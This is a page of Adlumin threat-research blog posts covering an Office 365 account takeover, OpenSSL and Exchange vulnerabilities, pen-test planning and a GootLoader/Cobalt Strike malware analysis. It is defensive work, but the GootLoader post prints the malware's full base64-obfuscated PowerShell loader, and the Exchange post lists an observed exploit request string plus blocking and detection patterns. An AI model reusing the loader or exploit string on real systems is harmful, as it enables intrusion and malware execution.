Threat Intelligence Archives

Learn how Adlumin’s Threat Research Team is dissecting emerging threats and providing invaluable insights that empower organizations to proactively defend against ever-evolving cyberattacks.

Protecting Microsoft Office 365 from Cyberattacks

November 3, 2022/in Blog Post/by Adlumin Staff

By: Mark Sangster, VP, Chief of Strategy, and Will Ledesma, Director of Managed Detection and Response

Cloud adoption is universal, as is the move to SaaS applications like Microsoft Office 365 (O365). Cloud architecture simplifies management while increasing business access and collaboration. Yet, the open and available nature of tools like O365 expands your threat profile. Cybercriminals are adept at exploiting these systems, often called Living Off The Land (LOTL). Adopting services like O365 only reinforces the notion that the threat landscape is an ever-moving sea of dunes that provide cover for criminals to move undetected and easily infiltrate your business.

As you migrate to Office 365 (amongst other SaaS applications) and increase user access, does it come at a cost? Are you losing security protection? This post discusses the move to Office 365, the risks, and ways to secure your SaaS applications from cyber threats.

Office 365 Overview

In the following blog, when Office 365 is mentioned, we are referring to the collection of Microsoft web applications and cloud-based services¹. It includes Outlook, OneDrive, Microsoft Teams, and Microsoft Office (Excel, Word, and PowerPoint). These services further integrate with Microsoft Exchange Server, SharePoint, and others. Authentication is driven via Hybrid Azure configurations or full Azure Active Directory Server integration. Adlumin’s platform ingests the various logs produced by these applications, servers, and authentication services.

Real Threats in the O365 Trenches

Today’s IT (Information Technology) open and accessible infrastructure means companies cannot turn a blind eye to threats lurking in plain sight. Cybercriminal groups such as Gootloader actively seek and exploit Office 365 vulnerabilities.

Like other SaaS applications, Office 365 contains mission-critical, often confidential, and damaging information if exposed through unauthorized channels. Proprietary intellectual property, business plans, customer contracts, and financial data are stored and shared through Office 365. Cybercriminals are attracted to any source of critical assets, and the open nature of Office 365 creates double jeopardy in terms of cyber threats.

Add to that the complexity of any expansive ecosystem of services and applications, and it is no wonder the Office 365 family has a plethora of known vulnerabilities² that exploit services, including remote code execution, spoofing, bypassing controls, and information exposure.

Threat actors will look to identify any way into a system. Many use password spray techniques, while others attempt phishing tactics. Regardless of the vector, every attack angle must be observed.

Many of these exploits are easy for criminals to deploy. For example, Microsoft modified Azure authentication protocols to prevent unauthorized parties from intercepting or spoofing authentication requests, harvesting credentials and then passing these credentials to the Azure servers to complete the user’s login request³.

Office 365 Login

Convincing phishing emails that launched customer-branded log-in portals left the user unaware of the fraudulent nature of the act. And the successful sign-on offers no signs of suspicious or at least unexpected behavior.

Most organizations rely on Single Sign-On (SSO) servers to authenticate users. At the same time, they have been deployed for their simplicity and ease of use, and adversaries tailgate on these advantages to gain initial access to organizations.

Let’s dive into a real-world example that Adlumin’s Managed Detection and Response (MDR) team discovered. The Adlumin platform alerted on suspicious activity in the form of impossible travel, which is the notion that a user cannot log in from two geographical locations in a period in which they could not physically traverse. The adversary leveraged an older vulnerability against Oauth 2.0 that exploits cloud Azure authentication server misconfiguration. The threat actor was able to take ownership of the targeted account but was rapidly stopped by Adlumin.

Adlumin’s investment in machine learning algorithms solves the conundrum of analyzing the enormous volume of logs generated by O365 services and serves in this class of exploit. False positives are eliminated, and vetted alerts and events are presented to MDR analysts for complete analysis and containment.

Take the previous example of impossible travel authentication. A user cannot log in from New York and London at the same hour, but Microsoft load balancing might send an authentication request from a New York user to a server in London, given current Internet traffic. On the surface, the concurrent login looks suspicious, but it is not. Additional contextual information allows one to confirm the event and determine if it is malicious.

In this case, User and Entity Behavior Analytics (UEBA) solve this dilemma. UEBA baselines normal user and device activity and flags anomalies. Where does the user normally log in from? What are the normal behaviors of the user? What machine do they typically use? Adlumin UEBA paired with our MDR analysis provides a Zero Trust approach to identify the outliers, investigate, and contain them. It is about identifying threats before they turn into business-disruptive incidents.

With Microsoft SSO, attackers have a single portal to a world of applications: OneDrive, SharePoint, emails, confidential information, etc. Access to these systems additionally provides a vector for distributing malicious binaries like ransomware to other users and systems.

Alert and Response Example:

Adlumin’s MDR team has several containment actions. In this case, the analyst disabled the user account and implemented a firewall IP block via Adlumin’s SOAR (Security Orchestration, Automation, and Response) to provide machine-to-machine invoked protection actions.

The Alert

Alert in details showcasing the impossible actions:

A machine learning algorithm detected Office 365 activity originating from an anomalous

The Adversary’s Actions

The first move:

Once the adversary gains access, they set up a forwarding rule against an admin account.

$Suspicious inbox forwarding rule\$

The second move:

The adversary then looks for and collects an expense report.

collects an expense report

The third move:

In this case, the client had disabled automatic blocks against suspicious activity, including the compromised account, remote access, and source IP blocking. In response, Adlumin’s MDR team takes containment actions:

Security Orchestration Automation and Response (SOAR)

IP blocks were also implemented via SOAR:

IP blocks were also implemented via SOAR

At this point, the initial attack is contained. Adlumin’s MDR team continued to monitor for further intrusions against the customer.

Take Aways

Today’s risk equation includes sophisticated threat actors, growing accountability and compliance requirements, and the protection of emerging technology. Office 365 is not new, but attacks against SaaS applications will continue to grow. The pandemic shifted much of the global workforce to a remote model.

Distributed (cloud) storage, remote access, and expanding user privileges have created new challenges for system administrators. They can no longer control access through on-premises services and restricted devices. In the battle to protect your business from cyberattacks while moving with technology trends, Adlumin provides the confidence you need to adopt and protect emerging technologies and services like Office 365.

New Vulnerabilities Affecting OpenSSL: What you Need to Know

November 2, 2022/in Blog Post/by Adlumin Staff

On Tuesday, November 1, 2022, OpenSSL made public two vulnerabilities affecting the most recent versions of the OpenSSL 3.x branch¹. The pair of Common Vulnerabilities and Exposures (CVEs), CVE-2022-3602 (Remote Code Execution) and CVE-2022-3786 (Denial of Service) – sometimes known as “Spooky SSL,” have been patched in the most recently released OpenSSL version, 3.0.7, but remain a potentially significant vulnerability if left unpatched. The severity of these vulnerabilities is exacerbated by the many ways and products OpenSSL is used in.

OpenSSL is a widely popular library used across operating systems, software suites, and packages to provide a basis for establishing secure and encrypted communications sessions. It is commonly used by applications such as Web Servers to establish HTTPS/TLS secured communications, VPNs, and other applications requiring secure sessions such as encrypted mail protocols.

The National Cyber Security Centrum – Netherlands (NCSC-NL) has released a public repository cataloging operating systems and software which use the vulnerable OpenSSL versions². The list is non-exhaustive but provides a good basis for recognizing what types of systems the OpenSSL vulnerabilities intersect with.

CVE-2022-3602 – Remote Code Execution Vulnerability

CVE-2022-3602 is a potential Remote Code Execution (RCE) vulnerability, which may allow unauthorized execution of malicious code on remote systems, either servers or clients using the affected OpenSSL libraries ³. A buffer overrun can be triggered during the verification of the X.509 certificate’s name field, leading to a potential crash (Denial of Service / DOS) or RCE. The overflow happens after the certificate chain signature is verified. Therefore exploitation requires that either a Certificate Authority (CA) has signed the malicious certificate or the application using the OpenSSL library continues certificate verification despite certificate trust failure.

Usage of this CVE has not yet been observed in the wild; however, the timely patching of affected systems is recommended as the best course of action.

CVE-2022-3786 – Denial of Service Vulnerability

CVE-2022-3786 is also a buffer overrun in X.509 certificate name constraint checking ⁴. Attackers can leverage the vulnerability by crafting a malicious email address in the certificate to cause an overflow of an arbitrary number of bytes in memory by using `.’ character (decimal 46). This buffer overflow can result in a crash, causing a denial of service. The vulnerability can affect both OpenSSL provided TLS clients and servers, clients being potentially exploited by connecting to a malicious server and servers being vulnerable to malicious client connections when requesting client authentication.

Like the previous vulnerability, this CVE has not been observed in the wild, but it is recommended that businesses, administrators, and users patch to the latest version of OpenSSL.

Recommendations

Adlumin recommends that all users of OpenSSL and OpenSSL backed software update to the latest versions available in their major branch, especially if leveraging version 3.x.

Additionally, we recommend using a vulnerability management product to regularly scan your environment to identify vulnerabilities and misconfigurations. Adlumin also recommends using the business’s SIEM product to continually search and alert for suspicious executions which may be a result of the exploitation of the vulnerability.

Resources

OpenSSL. (2022, November 1). OpenSSL Security Advisory [November 1 2022]. https://www.openssl.org/news/secadv/20221101.txt. Retrieved November 1, 2022, from https://www.openssl.org/news/secadv/20221101.txt
NCSC-NL. (2022, October 28). OpenSSL-2022/scanning at main · NCSC-NL/OpenSSL-2022. OpenSSL-2022. Retrieved November 2, 2022, from https://github.com/NCSC-NL/OpenSSL-2022/tree/main/scanning
MITRE. (2022, November 1). CVE-2022-3602. CVE. Retrieved November 1, 2022, from https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602
MITRE. (2022, November 1). CVE-2022-3602. CVE. Retrieved November 1, 2022, from https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602

How Cybercriminals View Cyber Risks

October 27, 2022/in Blog Post Massie Hussaini/by Adlumin Staff

The Scale of the Cyber Security Threat

According to Forbes¹, 2022 will present us with a pack of diverse and terrifying cybersecurity challenges. Everything from supply chain disruption to increased smart device risks contribute to a continued cybersecurity talent drought. Cybercrime Magazine ² states cybercrime will cost the world $10.5 trillion annually by 2025. Global cybercrime costs are predicted to rise by almost 15 percent yearly over the next four years. With the variables of the pandemic, cryptocurrency and the rise in remote working are coming together to create a target-rich environment for criminals to take advantage of.

How Does Cyber Security Work? The Challenges of Cyber Security

Cybersecurity is the practice of protecting systems, networks, and programs from digital attacks. These cyberattacks are usually aimed at accessing, changing, or destroying sensitive information, ranging from extortion to malware and more. To best understand cybersecurity, let’s investigate the individual sub-domains:

Application Security

SaaS or PaaS application security covers the implementation of different defenses in an organization’s software and services against a diverse range of threats. Cybersecurity experts are expected to write secure code, design secure application architectures, implement robust data input validation, and more, to minimize the chance of unauthorized access or modification of application resources.

Identity Management

Identity Management and Data Security

Activities, frameworks, and processes enable the authorization and authentication of legitimate individuals to an organization’s information systems. These measures involve implementing powerful information storage mechanisms that secure the data, whether in transition or residing on a computer. In addition, this sub-domain makes greater use of authentication protocols, such as two-factor or multi-factor.

Mobile Security

Mobile security is a big deal today as more people rely on mobile devices. This subdomain protects organizational and personal information stored on mobile devices like tablets, cell phones, and laptops from different threats like unauthorized access, device loss or theft, malware, viruses, etc. In addition, mobile security employs authentication and education to help amplify security.

Network Security

Network security covers hardware and software mechanisms that protect the network and infrastructure from disruptions, unauthorized access, and other abuses. Effective network security protects organizational assets against a wide range of threats from within or outside the organization.

Cloud Security

Cloud security relates to creating secure cloud architectures and applications for companies that use cloud service providers like Amazon Web Services, Google, and Azure.

Natural Disasters

Disaster Recovery and Business Continuity Planning

Not all threats are human based. The DR-BC subdomain covers processes, alerts, monitoring, and plans designed to help organizations prepare for keeping their business-critical systems running during and after any incident (massive power outages, fires, natural disasters) and resuming and recovering lost operations and systems in the incident’s aftermath.

Cybercrime

Cybercrimes

Cybercrime is any unauthorized activity involving a computer, device, or network. There are three generally recognized classifications of cybercrime: computer-assisted crimes, crimes where the computer is a target, and crimes where the computer is incidental to the crime rather than directly related.

Below is a list of common threats:

Malware: This threat encompasses ransomware, spyware, viruses, and worms. It can install harmful software, block access to your computer resources, disrupt the system, or covertly transmit information from your data storage.
Adware: This threat is a form of malware. It’s often called advertisement-supported software. The adware virus is a potentially unwanted program (PUP) installed without your permission and automatically generates unwanted online advertisements.
Trojans: Like the legendary Trojan Horse of mythology, this attack tricks users into thinking they’re opening a harmless file. Instead, once the trojan is in place, it attacks the system, typically establishing a backdoor that allows access to cybercriminals.
Botnets: This especially hideous attack involves large-scale cyberattacks conducted by remotely controlled malware-infected devices. Think of it as a string of computers under the control of one coordinating cybercriminal. What’s worse, compromised computers become part of the botnet system.
Structured Query Language (SQL) injection: An SQL attack inserts malicious code into a SQL-using server.
Phishing: Hackers use false communications, especially e-mail, to fool the recipient into opening it and following instructions that typically ask for personal information. Some phishing attacks also install malware.
Man-in-the-Middle attack (MITM): This attack involves hackers inserting themselves into a two-person online transaction. Once in, the hackers can filter and steal desired data. MITM attacks often happen on unsecured public Wi-Fi networks.
Denial of Service: DoS is a cyber-attack that floods a network or computer with an overwhelming amount of “handshake” processes, effectively overloading the system and making it incapable of responding to user requests.
Cyberterrorism: This threat is a politically based attack on computers and information technology to cause harm and create widespread social disruption.

As data breaches, hacking, and cybercrime reach new heights, companies increasingly rely on cybersecurity experts to identify potential threats and protect valuable data. So, it makes sense that the cyber security market³ is expected to grow from $217 billion in 2021 to $345 billion by 2026, posting a Compound Annual Growth Rate (CAGR) of 9.7% from 2021 to 2026.

Knowledge is power, and staff awareness of these type of threats is valuable in the cybersecurity puzzle. Giving business staff training on the fundamentals of computer security is critical in raising awareness about industry best practices, organizational procedures, and policies and monitoring and reporting suspicious, malicious activities. This subdomain covers cybersecurity-related classes, programs, and certifications.

Four Critical Areas for Planning a Penetration Test

October 6, 2022/in Blog Post/by Adlumin Staff

By: Kevin O’Connor, Adlumin – Director of Threat Research

What is Penetration Testing?

Penetration Testing (Pen Testing) is evaluating the security of a system by attempting to breach the system’s confidentiality, integrity, or accessibility. In other words, it is known as ethical hacking. Standard penetration testing puts a Red Team, one built of skilled mock-attackers, which takes arms against a network and its assets, attempting to achieve an objective such as access to a company’s internal emails. These simulated attacks are completed while hopefully remaining undetected by network administrators and security staff. The security objective of a penetration test is to check the system’s security and uncover potential weaknesses that real attackers might exploit to compromise the business and its assets.

Pen tests can be a valuable tool in a security professionals toolkit and can show how components of a layered security defense work – or fail together

Other penetration testing types include black box security testing, where attackers attempt to access a single system without forewarning information about its design, interfaces, and security. Black Box testing scales through Grey Box, where some information is known or provided, to White Box testing, where all documentation about the system and its security is given to the attackers. The ways a penetration test can be conducted are as varied as the network architectures, services, and systems implemented in a network.

Black Box Security Testing

I have been involved in dozens of penetration tests and similar activities. From my experiences, I have learned that there are a few focus areas where putting in extra care during planning can make the penetration test more successful and applicable to the business.

A successful penetration test will inform stakeholders, such as system owners, administrators, security staff, and management, if there are paths under the current business operating environment that might lead to potential exploitation and compromise. The penetration test results should specify which systems were tested, how they were tested, and what assumptions or dependencies were required when completing the test. An effective penetration test will allow the business to implement technical solutions to mitigate threats and show vulnerabilities in their operations, administrative, and security processes, which can be enforced or updated to lower the risk or damage of compromise.

4 Critical Focus Areas

Penetration Testing focus areas

Goal

The goal of a penetration test should be established before scoping out the test’s boundaries, although there is often circular feedback between the two activities. Setting a plan for the penetration test is critical in ensuring that the test provides valuable and actionable feedback and is working to testify to the security of a tested system. Without a well-scoped goal, any potential breach by the mock attackers could be considered a successful penetration of the business. However, if the business is trying to test the security of its account credential management system – the attackers gaining access to a single external web application does not speak much about the security of the account credential management system.

Businesses should also ensure that the goal is focused and specific. Broad goals such as ‘access to the business’ or proof of lateral movement capability against a network potentially test multiple systems and environments. The management of these systems may span several internal business groups, some of which may fall outside the test’s scope (see below). While there is value in testing managed security across business groups – this needs to be carefully considered when establishing stakeholders and participants for the test.

A good pen test goal would be trying to answer a specific security question such as; is some external web application secure, can we catch during logging, auditing, and accounting the creation of new malicious accounts in the domain, or can an attacker move laterally from an external DMZ to internal account management systems?

Scope

A penetration test’s scope is complimentary to its goal. Defining the scope can be a circular process involving a review of interdependent systems needed to reach the goal potentially. During scoping of the penetration test, it’s essential to try and identify which systems and teams may be involved in the test so that all potential stakeholders are aware, buy-in, and will act on the test’s results.

A well-defined scope is also critical for ensuring that the penetration test isn’t disruptive to business activities. Considerations such as:

Is the test performed against live business function support systems or against development and testing systems?
Is it within scope for the mock-attackers to interact or interface with a certain business or security-critical systems?
Can attackers modify data or configurations on compromised hosts to cover their tracks or better enable completion of the test’s goal?
Can the attackers leverage and exploit physical access to network assets to assist in compromise?

These questions are important areas to outline during penetration test scoping and will impact the value of your test results.

To help with scoping out the penetration test SANS has a worksheet that covers the basic areas to help with scoping.

Adversary Simulation

Something not often considered in penetration testing is the need and benefits of Adversary Simulation. Adversary simulation conducts the penetration test using the assumed Tactics, Techniques, and Procedures (TTPs) of a known or fictionalized threat actor group. In mimicking the capabilities of a real group or set of threats, the penetration test can be scaled to a level of attacker sophistication that mimics the assumed threat against the system being tested.

Something I am proud of as a security professional at Adlumin – is that our penetration testing capabilities allow us to select defined and known Threat Actors, such as APTs or specific e-Crime groups, and then mimic their capabilities during our testing. Adlumin can also define custom threat actor profiles, mapping the capabilities and TTPs used in a pen test to the MITRE-ATTCK framework and specific techniques such as sets of exploits, malware, lateral movement strategies, and communication types. This allows us to conduct a tailored exploitation campaign that factually represents real and current threats.

Part of IT Risk Management is the concept that the risk to an information system is directly related to the threats against the system. In the case of pen testing, it helps to symbolize the threat as the set of known threat actors and their associated capabilities. If a business isn’t in an industry known or expected to be targeted by a specific APT group, that group isn’t considered a significant threat against the business network. Such groups would lack the motive in the Motive, Opportunity, and Means (MOM) analysis methodology, and the value of mimicking such a group’s TTPs in the pen test is more limited. We can extract the most value from a pen test by simulating applicable threats and only mixing TTPs utilized between threats when we’ve acknowledged that such an exploitation path isn’t currently known, used, or likely—for example, assessing the threat against compromising a business’s internal email system.

Reviewing Results

Understanding the results of the penetration test and its findings is key to accomplishing the well-scoped goal. Integrating the test’s findings needs to go beyond patching leveraged vulnerabilities or systems and expand to understand why the vulnerability wasn’t known, why exploitation wasn’t observed, and if it was, why wasn’t an alert triggered or taken? What steps in the organization’s IT Security process need to be adjusted, better adhered to, monitored, or controlled with automation and fail-safes?

When reviewing a penetration test, you should consider questions such as:

Did the attackers complete their objectives, and how far did they get?
What vulnerabilities, exploits, and paths of access were used?
Were any related events logged in any security systems?
Does the business have observability of the events?
Why didn’t logged events generate a security alert?
Why wasn’t any alerting escalated to help prevent a further attack?

As you can see, a lot goes into setting up and planning for a successful penetration test. Pen tests can be a valuable tool in a security professionals toolkit and show how layered security defense components work – or fail together. Adlumin offers penetration testing services and can work with your organization to help create well-scoped goals and help you understand where in the gap between exploitation and data exfiltration your security – and, importantly, processes, can be improved to strengthen business security.

References

Ken van Wyk, C. C. M., & Radosevich, W. (2013, July 31). Black Box Security Testing Tools. CISA. Retrieved September 10, 2022, from https://www.cisa.gov/uscert/bsi/articles/tools/black-box-testing/black-box-security-testing-tools

Poston, H. (2021, June 17). What are Black Box, grey box, and white box penetration testing? [updated 2020]. Infosec Resources. Retrieved September 10, 2022, from https://resources.infosecinstitute.com/topic/what-are-black-box-grey-box-and-white-box-penetration-testing/

Wright, J. (2020, November 6). Joshua Wright. SANS Worksheet. Retrieved September 12, 2022, from https://www.sans.org/posters/pen-test-scope-worksheet/

New Unpatched Microsoft Exchange Vulnerabilities - Remote Code Execution Vulnerabilities Allowing Potential Attacker Access

September 30, 2022/in Blog Post/by Adlumin Staff

By: Director of Threat Research, Kevin O’Connor

Microsoft has confirmed a new pair of unpatched vulnerabilities affecting its Exchange mail server platform. Tracked as CVE-2022-41040 and CVE-2022-41082, Microsoft validated the exploits’ existence and confirmed they are actively being used in the wild by malicious actors to compromise systems. This vulnerability is believed only to affect on-premises instances of Microsoft Exchange contained in Microsoft Windows Server 2013, 2016, and 2019, and not cloud-based Microsoft O365 mail applications and services such as Exchange Online, which Microsoft attests has detections and mitigations already in place. Microsoft Exchange Online customers do not need to take any action.

What you Need to Know

Microsoft does not currently have a patch available for the vulnerabilities but recommends that on-premise Microsoft Exchange customers should review and apply URL Rewrite Instructions and block exposed Remote PowerShell Ports. A guide by Microsoft for adding the blocking rule can be found here.

Add A Blocking Rule

Open the IIS Manager.
Expand the Default Web Site.
Select Autodiscover.
In the Feature View, click URL Rewrite.
In the Actions Pane on the right-hand side, click Add Rules.
Select Request Blocking and Click OK
Add the following string and click OK:
- .*autodiscover\.json.*\@.*Powershell.*
Expand the rule and select the rule and click Edit under Conditions
Change the condition input from {URL} to {REQUEST_URI}

Blocking PowerShell Ports

Block the following ports used for Remote PowerShell

HTTP: 5985

HTTPS: 5986

The pair of CVEs are Server-Side Request Forgery (SSRF) (CVE-2022-41040) and Remote Code Execution (RCE) (CVE-2022-41082) vulnerabilities. The SSRF vulnerability can only be used by authenticated attackers suggesting that credentialed or other authorized access is needed to exploit the system. The SSRF vulnerability can then be used to enable the usage of the RCE vulnerability.

The vulnerabilities were uncovered by GTSC, a Vietnamese security company, during monitoring and incident response services in live networks. GTSC detected exploit requests in ISS logs with the same format as the previous 2021 ProxyShell RCE vulnerability:

autodiscover/autodiscover.json?@/&Email=autodiscover/autodiscover.json%3f@

It’s been observed in the wild that the CVEs have been used to drop webshells on exploited Exchange servers, including Antsword, a Chinese opensource cross-platform website administration tool supporting webshell management. The webshell’s codepage is also set to a Microsoft character encoding for simplified Chinese, again suggesting China-based actor involvement. During these exploitation campaigns, attackers leveraging the vulnerabilities also modified the file RedirSuiteServiceProxy.aspx to contain a webshell. GTSC also reported the use of SharPyShell, a small and obfuscated ASP.net webshell for C# web applications.

As part of their Tactics, Techniques, and Procedures (TTPs), attackers exploiting the vulnerabilities have also been observed leveraging the native Windows binary, certutil.exe, to connect to command-and-control infrastructure and retrieve malicious payloads. Some of the commands share similarities with those used by the Chinese Chopper web shell malware. The attackers also leverage in-memory DLL injection and native Windows WMIC systems to execute files.

To identify potential exploitation leveraging these vulnerabilities, administrators can check Microsoft IIS Logs for the following string indicating potential compromise:

powershell.*autodiscover\.json.*\@.*200

Microsoft is currently working to develop a patch for the vulnerabilities; however, Microsoft Exchange administrators should take immediate action to defend systems and search for prior signs of compromise.

Keeping a network secure from zero-day exploitation requires a layered defense-in-depth approach. Externally available services such as email servers continue to be a prime target for exploitation by threat actors. Systems such as Adlumin’s Perimeter Defense capabilities can monitor these external systems for the appearance of exploitation artifacts such as newly opened ports on internet-accessible servers used for remote exploitation interfaces such as PowerShell.

Continuous Monitoring

Adlumin recommends using a Continuous Vulnerability Management (CVM) product to collect the needed data from endpoints to determine if they are running vulnerable versions of Microsoft Windows and Office. CVM software can also be used to identify those assets which have or do not have the official Microsoft mitigation in place. Adlumin also recommends leveraging the business’s SIEM product to continually search and alert for suspicious executions which may be a result of the exploitation of the vulnerability.

Resources

Everything you Need to Know about Tracking GootLoader

September 30, 2022/in Blog Post/by Adlumin Staff

By: Kyle Auer & Kevin O’Connor
Adlumin’s Threat Visibility Team has observed an increase in GootLoader-based malware and identified a possible unified campaign leveraging GootLoader with follow-on Cobalt Strike payloads in attempts to breach U.S. businesses including multiple Adlumin customers.

What is GootLoader?

GootLoader is a presumed access-as-a-service malware ¹, with its developers also being responsible for the GootKit malware as first reported by Dr. Web in 2014 ². GootKit, the actor’s namesake and original toolkit, is distinct from GootLoader in that GootLoader is closer to an initial access capability which leverages follow on stages such as Cobalt Strike, various Ransomware payloads, and potentially GootKit – the latter of which has fallen out of favor since gaining notoriety in 2019 due to infrastructure compromise ³.
As an access-as-a-service malware, the GootLoader operators would be expected to sell direct access to compromised hosts and systems or provide buyers with harvested credentials and access points into a targeted network. A less frequent operation under this model might involve the GootLoader actors loading second-stage payloads as access brokers.

Tracking the Campaign

Adlumin is observing and tracking an active exploitation campaign utilizing GootLoader against U.S. businesses in multiple industries and verticals. What we’ve observed in this campaign is uniform deployment of Cobalt Strike payloads following exploitation and initial access provided by GootLoader. It’s unknown if these Cobalt Strike payloads are used by GootLoader developers to provide direct access to an infected target or used to harvest credentials and other data which is brokered to a buyer for access or exploited in some other way.
Our investigation is tracking an exploitation campaign which we defined based on:

Like to identical initial access and exploit methodologies
Like to identical command and control infrastructure and methodology
Like to identical operations time-frame
Like to identical first-stage “loader” malware, GootLoader
Like to identical second-stage follow-on malware, Cobalt Strike

Campaign Tactics, Techniques, and Procedures (TTPs)

This GootLoader campaign begins its attack by phishing potential victims’ business emails. Unlike other campaigns reported earlier in 2021 and 2022⁴, this campaign has not yet been observed relying on specific SEO poisoning attacks to deliver its payload. We believe the payloads are also not being disguised as legitimate JQuery libraries as previously seen.
It starts with an email…

Figure 1: The Attack Begins with a Malicious JavaScript file contained in a Zip Archive

The first stage in the campaign against a target is a simple phishing email. These emails have an attached Zip archive, which contains a JavaScript payload the victim is tricked in to running after opening. This JavaScript payload is executed by a Windows Operating System native binary, Windows Script Host (wscript.exe), which is a legitimate application typically used for logon scripts, administration, and automation and provides an execution environment in which the script can run. Our team believes that the JavaScript payload is delivered via a compressed archive to help mitigate detection by email and malware scanners.

GootLoader_Image_2

Figure 2: JavaScript is executed by wscript.exe

GootLoader will then use this wscript.exe executing JavaScript to download an additional JavaScript resource which is loaded by the original calling wscript.exe process. This secondary exploitation payload is responsible for persisting two separate payloads.

GootLoader_Image_3

Figure 3: wscript.exe retrieves payloads from Command and Control Server

Persistence

GootLoader will use its secondary JavaScript payload to write two registry keys to the Window’s Current User registry hive (HKCU). In this tracked campaign the two registry keys were stored in:

HKCU:\\Software\Microsoft\Phone\user0
HKCU:\\Software\Microsoft\Phone\user

GootLoader_Image_4

Figure 4: wscript.exe runs PowerShell to persist malware as a task, and writes encoded payloads to registry

Kick-Off

After having saved the next two stages to the registry, the wscript.exe process will execute PowerShell to run PowerShell commands which will kick-off the first-stage malware implant. To help evade detection by security software, the executed PowerShell commands make use of multiple evasion techniques including

Base64 Encoding the Command
Command abbreviation
Variable substitution
String concatenation
- MwA1ADEANAA5ADcAOAA5ADsAcwBsAGUAZQBwACAALQBzACAANwA4ADsAJABqAHQAPQBHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAKAAiAGgAawAiACsAIgBjAHUAOgBcAHMAbwBmACIAKwAiAHQAdwAiACsAIgBhAHIAZQBcAG0AaQBjACIAKwAiAHIAbwBzACIAKwAiAG8AZgB0AFwAUABoAG8AbgBlAFwAIgArAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6ACgAIgB1AHMAZQAiACsAIgByAG4AIgArACIAYQBtAGUAIgApACsAIgAwACIAKQA7AGYAbwByACAAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAZQAgADcAMAAwADsAJABzAHUAcwArACsAKQB7AFQAcgB5AHsAJABzAGEAKwA9ACQAagB0AC4AJABzAHUAcwB9AEMAYQB0AGMAaAB7AH0AfQA7ACQAcwB1AHMAPQAwADsAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAkAHMAdQBzACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAcwB1AHMAKQA7AGkAZgAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewBiAHIAZQBhAGsAfQB9ACQAaABpAHQAPQAkAHMAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAOwAkAGUAagB2AD0AWwBiAHkAdABlAFsAXQBdADoAOgAoACIAbgBlACIAKwAiAHcAIgApACgAJABoAGkAdAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAdAAgACQAaABpAHQALgBMAGUAbgBnAHQAaAA7ACQAcwB1AHMAKwA9ADIAKQB7ACQAZQBqAHYAWwAkAHMAdQBzAC8AMgBdAD0AWwBjAG8AbgB2AGUAcgB0AF0AOgA6ACgAIgBUAG8AQgAiACsAIgB5AHQAZQAiACkAKAAkAGgAaQB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdQBzACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABlAGoAdgApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA3ADQANAA0ADkAMQA3ADIAOwA=

Decoding from Base64 and encoding with UTF-16LE we can see the commands contents:

GootLoader_Image_5

Figure 5: Decoded PowerShell Command Loading Stage 1 Implant

This command will grab the contents of the first registry key, HKCU:/SOFTWARE/Microsoft/phone/$USERNAME0, decode the encoded .NET DLL it contains, and then run the Test() function contained in the DLL us as an execution start point.

Obtaining Decoded Stage-1

To get the malware to drop the DLL unencoded for further analysis rather than directly loading and calling it via PowerShell, we modified the executed PowerShell command to write the contents to a file by appending the following before the last SLEEPfunction.

+> Set-Content $PATH -Value $ejv -Encoding Byte

This allowed us to analyze this first-stage implant to identify that the Test() function was being used to load the second-stage implant.

GootLoader_Image_6

Figure 6: PowerShell.exe decodes the GootLoader implant which decodes and runs the secondary payload, Cobalt Strike

Second Stage Payload

The second payload and malware implant used by GootLoader in this campaign is Cobalt Strike. The second registry key written in the earlier stage to HKCU:\..Phone\$USERNAME contains an encoded Cobalt Strike beacon. When the first-stage’s Test() function is executed, it decodes, loads, and executes the Cobalt Strike beacon into memory.

To analyze the Cobalt Strike beacon we modified the retrieved first payload which loads the beacon, to instead write the beacon unencoded to disk for retrieval and analysis. We did this by adding additional library imports used for writing a file and adding a main function which will call the Test() loader.

GootLoader_Image_7

Figure 7: Adding additional imports to 1st Stage Malware Implant

GootLoader_Image_8

Figure 8: Adding function to call the 2nd Stage DLL’s Test() function

We then created a BinaryWriter object and comment out some of the lines which would execute the Cobalt Strike beacon.

Figure 9: Modifying 1st stage to prevent 2nd stage execution and retrieve decoded 2^nd stage

After building and running the code, we obtained the decoded second-stage Cobalt Strike payload.

Extracting Campaign IOCs from Cobalt Strike

Cobalt Strike is a paid penetration testing software which includes configurable malware implants that are often repurposed for use in real malware operations and infections. The Cobalt Strike beacon provides functionality for the attacker including command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained^[5].Cobalt Strike has exploded in popularity in usage by cyber-criminals^[6], and is a perfect launching platform for continued attacks or access transfer.

Once we had the decoded Cobalt Strike beacon written to disk, we were able to use public decoders to extract Cobalt Strike configuration information such as command and control addresses. We used the Python-based Cobalt Strike Configuration Extractor and Parser which can be found on GitHub, here.

Figure 10: Decoded Cobalt Strike Beacon Payload

This allowed us to obtain the malware command and control infrastructure used by the attackers to control the Cobalt Strike implant.

Figure 11: Cobalt Strike is run and beacons to Cobalt Strike command and control server

Summary & Future Reads

